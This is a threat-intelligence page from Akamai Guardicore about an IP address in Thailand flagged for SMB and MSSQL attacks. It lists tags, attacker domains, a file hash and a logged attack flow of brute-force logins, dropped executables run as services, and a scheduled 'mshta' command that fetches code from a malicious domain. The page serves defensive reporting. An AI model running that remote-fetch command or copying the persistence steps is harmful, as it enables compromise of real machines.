Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 1.4.170.127Malicious

IP Address: 1.4.170.127Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

SMB Brute Force Access Suspicious Domain Execute from Share Download File DNS Query Successful SMB Login Service Start Access Share SMB Service Creation SMB Share Connect Service Stop File Operation By CMD MSSQL Scheduled Task Creation Scheduled Task Run Service Deletion CMD

Associated Attack Servers

t.amynx.com w.zz3r0.com

Basic Information

IP Address

1.4.170.127

Domain

-

ISP

-

Country

Thailand

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2024-02-19

Last seen in Akamai Guardicore Segmentation

2024-02-20

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: admin - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

A user logged in using SMB with the following username: admin - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

C:\dieZBDAw.exe was downloaded

Download File

c:\windows\taknmphf.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started %systemroot%\taknmphf.exe as a service named hguP under service group None

Service Start Service Creation

diezbdaw.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\diezbdaw.exe as a service named sMtK under service group None

Service Start Service Creation

C:\windows\temp\tmp.vbs was downloaded

Download File

A user logged in using SMB with the following username: admin - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 4 times

SMB Brute Force Successful SMB Login

Service sMtK was stopped

Service Stop

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com 2 times

Access Suspicious Domain DNS Query

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

C:\yvFylWOu.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started \\server-backup\c$\yvfylwou.exe as a service named OnYj under service group None

Service Start Service Creation

yvfylwou.exe was executed from the remote share \\server-backup\c$

Execute from Share

C:\WINDOWS\Temp\tmp.vbs was downloaded

Download File

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times

SMB Brute Force Successful SMB Login

Service OnYj was stopped

Service Stop

C:\BYghFOCn.exe was downloaded

Download File

byghfocn.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\byghfocn.exe as a service named TLci under service group None

Service Start Service Creation

Connection was closed due to timeout

Associated Files

C:\LNBhnctF.exe

SHA256: 191141665fe203f0e692001d11d2d6471ad7c5b42ca28a904c4b797bc986cf83

56320 bytes